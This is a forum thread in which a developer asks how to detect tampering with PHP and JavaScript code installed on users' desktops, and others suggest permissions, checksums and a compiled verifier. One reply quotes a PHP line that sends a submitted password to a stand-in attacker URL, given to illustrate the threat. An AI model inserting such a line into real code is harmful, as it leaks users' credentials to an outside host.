Is there a way to verify integrity of php/javascript code

[Han]

Our app runs on end-users machines (apache2.x + php5). At this moment
it is quite easy for someone (who has access to the console) to insert
a couple lines of php code to steal sensitive info.

Is there a way to check the integrity of the php and javascript code by
using digital signatures/simple hash/etc. ?

What do you do to verify that your code has not been changed by someone
else and everything is leaked to a rogue site?

Thanks for your help
-Han

[Han]

>Does the admin of the server on which the PHP code is running want

the check to work, or does he want to subvert it?
The admin (the user) wants the check to work.
We are trying to protect the user from the cleaning lady, daughter's
boyfriend, the intern, trajan horses, etc.
If it's a user's password, why is it in the PHP script (as distinguished
from a database)? Or are you talking about passwords users enter
into their clients to log in?

I'm talking about the password that user enters to login.

Your md5 suggestion is doable.
Is there a way to force php interpreter to check it?

[Han]

How do website admins currently protect the php at their site has not
been changed by the interns, isp's, programmers, consultants, etc?

Is this an advantage of compiled code over interpreted code?

If yes, then I guess php was the wrong choice for writing code that
runs on desktop machines.

Thanks
-Han

[Nicholas Sherlock]

Han wrote:

How do website admins currently protect the php at their site has not
been changed by the interns, isp's, programmers, consultants, etc?

Don't give them the password.

Cheers,
Nicholas Sherlock

[Dikkie Dik]

Han wrote:

Our app runs on end-users machines (apache2.x + php5). At this moment
it is quite easy for someone (who has access to the console) to insert
a couple lines of php code to steal sensitive info.

Is there a way to check the integrity of the php and javascript code by
using digital signatures/simple hash/etc. ?

What do you do to verify that your code has not been changed by someone
else and everything is leaked to a rogue site?

Thanks for your help
-Han

Normal security measures are often taken on the web server. They include:
- making php files "execute only", so it is very difficult to download
ands investigate them.
- storing passwords, encrypted, somewhere outside of the public web
space. That makes them accessible for the server only. If you could
insert code, you would still need some inside info to find them.
Especially if the password file is called "packman.ex e" instead of
"passwords.txt" .
- allow uploading only on directories that do not have execute rights.

Off course, it does not stop the need for a PHP programmer to check the
URL request and the POST parameters for injections.

Best regards

[Malcolm Dew-Jones]

Han (go********@saf eblue.com) wrote:
: Passwords are not stored in plaintext. However, still it's a 2 secs job
: to change this line
: if(strcmp(sha1( 'admin'.$_REQUE ST['pass']),$adminpass)){
: to
: fopen('http://www.badhackerss ite.com/'.$_REQUEST['pass'], "r");
: if(strcmp(sha1( 'admin'.$_REQUE ST['pass']),$adminpass)){
: The admin password is leaked the next time user logs in.
: [excuse the syntax errors]
It's only a 2 secs job if the computer is not secure. If you can't trust
the people with privileged passwords then you're stuck.

In that case, you may wish to have a second "more trusted" person to audit
the computer at random intervals using a check sum program to identify
changes and inspect them. (This is a good idea anyway to identify hacker
intrusions, and to catalog exactly when other changes occured).

--

This programmer available for rent.

[Han]

I see. The solution must be outside the realm of php.

In our case, this solution wont work as our program runs on user's
desktop.

There is no trusted person (first or second).

[Han]

- making php files "execute only or read only" seems to be a good
solution. Would that work on windows xp? Would this require ntfs?

[Dikkie Dik]

Han wrote:

- making php files "execute only or read only" seems to be a good
solution. Would that work on windows xp? Would this require ntfs?

I am not a Windows XP expert, but you can probably do that. If you
switch on the Windows-NT-like authentication, you can define a user on
your system that will be used as the web user. After that, you configure
your webserver to use that user's privileges.
You can probably set general directoy permissions from your web server
program as well.

[Malcolm Dew-Jones]

Dikkie Dik (no****@nospam. org) wrote:
: Han wrote:
: > - making php files "execute only or read only" seems to be a good
: > solution. Would that work on windows xp? Would this require ntfs?
: >
: I am not a Windows XP expert, but you can probably do that. If you
: switch on the Windows-NT-like authentication, you can define a user on
: your system that will be used as the web user. After that, you configure
: your webserver to use that user's privileges.
: You can probably set general directoy permissions from your web server
: program as well.

Ah yes, but which person is he going to trust to set that up? Apparently
there is no trusted user at the computer.

Also, yes, xp can certainly do that sort of securtiy with ntfs (which is
the default file system by the way) - but beware of XP home. The default
security settings are that an account is either non-priv or priv, and
since many things like games (from MS even) require priv's, you're liable
to have (or end up with) numerous priv accounts on an xp home machine.
Those priv account holders can do anything if they set their minds to it.
(Perhaps xp home edition can change that aspect of how it works, no idea,
but you still have to have someone you trust to do that.)

--

This programmer available for rent.

[Han]

After long discussions here and through the help of the people in this
board as well, here is what we are going to do. I hope this helps other
people who would deploy a php based solution at user's desktops.

1. We'll make the files read-only (execute-only wont work right?)
2. We'll move all password related questions to a compiled code
(C/C++). We'll make this non-browser based, so the user is not subject
of a simple fishing attack.
3. At the time when the password is asked (before or after), the
compiled code will go over the php installation and check the md5 (or
sha1) of all the php/javascript code.
4. If there is no mismatch, the password is passed to php

There is only one question we couldnt answer at this moment which is
the following: what are the files for which we need to check.

Is PHP monotonic? By that we mean does adding a file to a directory
changes the behavior of php. If the compiled program checks only the
files we created (php/javascript), is it possible to someone to insert
a file in our directory to change the behavior of php? Is there a file
that I can create that redirects php to a different directory?